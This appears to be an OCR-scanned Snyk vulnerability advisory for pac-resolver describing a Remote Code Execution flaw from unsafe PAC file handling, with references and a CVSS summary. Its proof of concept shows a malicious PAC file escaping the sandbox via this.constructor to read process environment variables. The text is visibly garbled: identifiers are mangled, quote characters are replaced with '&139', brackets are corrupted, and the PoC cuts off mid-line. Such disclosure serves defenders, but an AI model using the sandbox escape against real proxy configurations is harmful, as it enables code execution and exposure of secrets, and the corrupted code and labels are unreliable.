# **snyk** Vulnerability DB

Snyk Vulnerability Database > Maven > org.webjars.npm:pac-resolver

### Remote Code Execution (RCE)

Affecting org.webjars.npm:pac-resolver package, versions [0,]



INTRODUCED: 30 MAY 2021	Share v
How to fix?	
There is no fixed version for org.webjars.npm:pac-resolver.	

#### Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling

In order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values.

NOTE: The fix for this vulnerability is applied in the node-degenerator library, a dependency is written by the same maintainer.

#### PoC

const pac = require('pac-resolver'); // Should keep running forever (if not vulnerable): setInterval(() => (console.log("Still running"); ), 1000); // Parsing a malicious PAC file unexpectedly executes unsandboxed code: pac( // Real PAC config: function FindProxyForUML(wrl, host) ( return "DIRECT"; ) // But also run arbitrary code: vr = this.constructor( // Running outside the sandbox: console.log(&139, mad env varis&139, process.em); console.log(&139; III PAC file is running arbitrary code: III&139; ); console.log(&139; console

### References

- GitHub Commit #1
- GitHub Commit #2
- Github Release
- Researcher Blog

Snyk CVSS			
Exploit Maturity	Proof of o	concept	0
Attack Complexit	у	High	9
Confidentiality		HIGH	•
Integrity		HIGH	•
Availability		HIGH	•
See more			
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